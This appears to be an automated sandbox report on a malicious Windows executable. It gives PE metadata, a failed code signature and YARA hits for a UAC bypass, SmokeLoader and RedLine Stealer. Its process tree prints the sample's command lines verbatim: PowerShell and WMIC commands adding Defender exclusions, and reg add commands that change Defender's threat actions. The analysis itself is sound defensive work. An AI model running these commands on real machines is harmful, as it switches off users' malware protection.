Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x664E7376 [Wed May 22 22:36:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	79856d4b034c49dc3dd3e403b25b6bbf

Authenticode Signature

Signature Valid:	false
Signature Issuer:	C=US, S=Washington, L=Redmond, OU=Microsoft Corporation, O=Microsoft Corporation, CN=Microsoft Code Signing PCA 2011
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	23/05/2024 19:17:17 23/05/2025 19:17:17
Subject Chain	C=US, S=Washington, L=Redmond, OU=Microsoft Corporation, O=Microsoft Corporation, CN=Microsoft Code Signing PCA 2011
Version:	3
Thumbprint MD5:	28767EE17A41F8B246D245C0DFCC6F67
Thumbprint SHA-1:	E476EF38785117EF57C4CAB10F0D116A2B266D5D
Thumbprint SHA-256:	756AB42EEDEDD6ED3E697AFF8B1DE9449D59FD84B5244BE1E57ACB79F817C8CB
Serial:	00D2294495B534277F8B0F619CBCD5AAB8

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F16010FC66Ch
dec eax
add esp, 28h
jmp 00007F16010FBF67h
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
jmp 00007F16010FC101h
dec eax
mov ecx, ebx
call 00007F16011047A5h
test eax, eax
je 00007F16010FC105h
dec eax
mov ecx, ebx
call 00007F16010FBE17h
dec eax
test eax, eax
je 00007F16010FC0D9h
dec eax
add esp, 20h
pop ebx
ret
dec eax
cmp ebx, FFFFFFFFh
je 00007F16010FC0F8h
call 00007F16010FCAFCh
int3
call 00007F16010FCB16h
int3
jmp 00007F16010FCB44h
int3
int3
int3
jmp 00007F16010FC1ACh
int3
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007F16010FC102h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007F16010FC105h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007F16010FC0FDh
movzx eax, byte ptr [ecx+eax+00h]

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1f79a0	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1f79f8	0xf0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x21d000	0x3160	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x208000	0x1314c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1c0800	0x18e0	.rdata
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x221000	0x634	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1ca370	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1ca500	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1ca230	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x17d000	0x778	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x71a88	0x71c00	5cdd54da137ec06542526019b1031732	False	0.4528288118131868	data	6.6410813091638	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.managed	0x73000	0xb9168	0xb9200	2d30634d2eb96982ab12a2d431b95020	False	0.4601620526671168	data	6.463570386679756	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
hydrated	0x12d000	0x4f808	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x17d000	0x7c4de	0x7c600	37a2c01a0ab62cee2056b2eb051c3620	False	0.46991794912060303	data	6.575379342716947	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1fa000	0xdc90	0x2200	5c15d417ed4d359d82911c50efdabf9a	False	0.23793658088235295	data	3.6721787513471362	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x208000	0x1314c	0x13200	8cc774a948808419be7ca4f4b39fb78d	False	0.4887280433006536	data	6.17164551981099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x21c000	0x1f4	0x200	cfc28b4453f40f4f91f4a52e36529a97	False	0.5078125	data	4.172727899540164	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x21d000	0x3160	0x3200	6361392e2157b1871b4cabdc4cd09249	False	0.921171875	data	7.79427748045608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x221000	0x634	0x800	8b35b44373572aa9287a6c541ff3e534	False	0.48681640625	data	4.726579003687373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
BINARY	0x21d11c	0x2aa4	data	1.00100769512642
RT_VERSION	0x21fbc0	0x3b4	data	0.3407172995780591
RT_MANIFEST	0x21ff74	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
ADVAPI32.dll	RegCloseKey, RegEnumKeyExW, RegEnumValueW, RegOpenKeyExW, RegQueryValueExW, RegSetValueExW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegSetValueExA, GetTokenInformation, DuplicateTokenEx, OpenThreadToken, RevertToSelf, ImpersonateLoggedOnUser, CheckTokenMembership, EventWrite, EventRegister, EventEnabled
bcrypt.dll	BCryptGenRandom, BCryptEncrypt, BCryptDecrypt, BCryptImportKey, BCryptOpenAlgorithmProvider, BCryptSetProperty, BCryptCloseAlgorithmProvider, BCryptDestroyKey
KERNEL32.dll	TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, EncodePointer, RaiseException, RtlPcToFileHeader, CloseThreadpoolIo, GetStdHandle, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToSystemTime, GetSystemTime, GetCalendarInfoEx, CompareStringOrdinal, CompareStringEx, FindNLSStringEx, GetLocaleInfoEx, ResolveLocaleName, GetUserPreferredUILanguages, FindStringOrdinal, GetTickCount64, GetCurrentProcess, GetCurrentThread, Sleep, InitializeCriticalSection, InitializeConditionVariable, DeleteCriticalSection, LocalFree, EnterCriticalSection, SleepConditionVariableCS, LeaveCriticalSection, WakeConditionVariable, QueryPerformanceCounter, WaitForMultipleObjectsEx, GetLastError, QueryPerformanceFrequency, SetLastError, GetFullPathNameW, GetLongPathNameW, MultiByteToWideChar, WideCharToMultiByte, LocalAlloc, GetConsoleOutputCP, GetProcAddress, RaiseFailFastException, CreateThreadpoolIo, StartThreadpoolIo, CancelThreadpoolIo, LocaleNameToLCID, LCMapStringEx, EnumTimeFormatsEx, EnumCalendarInfoExEx, CopyFileExW, CreateFileW, DeleteFileW, DeviceIoControl, ExpandEnvironmentStringsW, FindClose, FindFirstFileExW, FlushFileBuffers, FreeLibrary, GetFileAttributesExW, GetFileInformationByHandleEx, GetFileType, GetModuleFileNameW, GetOverlappedResult, GetSystemDirectoryW, LoadLibraryExW, ReadFile, SetFileInformationByHandle, SetThreadErrorMode, GetDynamicTimeZoneInformation, GetTimeZoneInformation, WriteFile, GetCurrentProcessorNumberEx, CloseHandle, SetEvent, CreateEventExW, GetEnvironmentVariableW, FormatMessageW, DuplicateHandle, GetThreadPriority, SetThreadPriority, GetConsoleMode, WriteConsoleW, GetExitCodeProcess, TerminateProcess, OpenProcess, K32EnumProcesses, GetProcessId, CreateProcessA, GetConsoleWindow, FreeConsole, AllocConsole, VirtualAllocEx, ResumeThread, CreateProcessW, GetThreadContext, SetThreadContext, FlushProcessWriteBuffers, GetCurrentThreadId, WaitForSingleObjectEx, VirtualQuery, RtlRestoreContext, AddVectoredExceptionHandler, FlsAlloc, FlsGetValue, FlsSetValue, CreateEventW, SwitchToThread, CreateThread, SuspendThread, FlushInstructionCache, VirtualAlloc, VirtualProtect, VirtualFree, QueryInformationJobObject, GetModuleHandleW, GetModuleHandleExW, GetProcessAffinityMask, InitializeContext, GetEnabledXStateFeatures, SetXStateFeaturesMask, InitializeCriticalSectionEx, GetSystemTimeAsFileTime, ResetEvent, DebugBreak, WaitForSingleObject, SleepEx, GlobalMemoryStatusEx, GetSystemInfo, GetLogicalProcessorInformation, GetLogicalProcessorInformationEx, GetLargePageMinimum, VirtualUnlock, VirtualAllocExNuma, IsProcessInJob, GetNumaHighestNodeNumber, GetProcessGroupAffinity, K32GetProcessMemoryInfo, RtlUnwindEx, IsProcessorFeaturePresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, IsDebuggerPresent, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, InitializeSListHead, GetCurrentProcessId
ole32.dll	CoUninitialize, CoTaskMemAlloc, CoGetApartmentType, CoCreateGuid, CoTaskMemFree, CoWaitForMultipleHandles, CoInitializeEx
USER32.dll	LoadStringW
api-ms-win-crt-math-l1-1-0.dll	pow, modf, ceil, __setusermatherr
api-ms-win-crt-heap-l1-1-0.dll	calloc, malloc, _callnewh, _set_new_mode, free
api-ms-win-crt-string-l1-1-0.dll	wcsncmp, strncpy_s, _stricmp, strcpy_s, strcmp, _wcsicmp
api-ms-win-crt-runtime-l1-1-0.dll	_c_exit, _register_thread_local_exe_atexit_callback, _get_initial_wide_environment, _cexit, __p___wargv, __p___argc, _exit, exit, _initterm_e, _initterm, terminate, _crt_atexit, _initialize_wide_environment, _configure_wide_argv, _register_onexit_function, _initialize_onexit_table, _set_app_type, _seh_filter_exe, abort
api-ms-win-crt-stdio-l1-1-0.dll	__stdio_common_vsprintf_s, __stdio_common_vsscanf, __stdio_common_vfprintf, __acrt_iob_func, _set_fmode, __p__commode
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Exports

Name	Ordinal	Address
DotNetRuntimeDebugHeader	1	0x1401fb360

Target ID:	0
Start time:	05:28:56
Start date:	24/05/2024
Path:	C:\Users\user\Desktop\lgX7lgUL1w.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\lgX7lgUL1w.exe"
Imagebase:	0x7ff7e3570000
File size:	1'843'424 bytes
MD5 hash:	7FF8C26A36F5A4566990745DFF1594F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000000.1201842177.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1213051292.00000233C4D27000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:28:56
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:28:56
Start date:	24/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:28:56
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:28:57
Start date:	24/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x5f0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:29:01
Start date:	24/05/2024
Path:	C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe" /s
Imagebase:	0x400000
File size:	1'524'456 bytes
MD5 hash:	CD4ACEDEFA9AB5C7DCCAC667F91CEF13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:29:01
Start date:	24/05/2024
Path:	C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe"
Imagebase:	0x400000
File size:	223'744 bytes
MD5 hash:	C5A6381354CD5D1488E362C9103C1851
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000008.00000002.1706196423.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.1769205035.000000000301B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000008.00000002.1710200327.0000000002E20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000008.00000002.1710200327.0000000002E20000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000008.00000002.1731271507.0000000002F51000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000008.00000002.1731271507.0000000002F51000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:29:02
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:29:02
Start date:	24/05/2024
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff6bcef0000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:29:02
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	05:29:02
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	05:29:02
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	05:29:02
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	05:29:03
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	05:29:04
Start date:	24/05/2024
Path:	C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe"
Imagebase:	0x400000
File size:	6'892'232 bytes
MD5 hash:	53D14BD638C98C210E391151A8D3BCCC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	05:29:04
Start date:	24/05/2024
Path:	C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe"
Imagebase:	0x140000000
File size:	6'923'264 bytes
MD5 hash:	F0587649682207064554A2372966435D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:29:05
Start date:	24/05/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe /odidum "385118" /S
Imagebase:	0xd40000
File size:	6'725'120 bytes
MD5 hash:	220A02A940078153B4063F42F206087B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 75%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	05:29:06
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:29:06
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:29:06
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Imagebase:	0xa20000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:29:06
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:29:06
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x40000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Imagebase:	0xa20000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Imagebase:	0xa20000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:29:07
Start date:	24/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
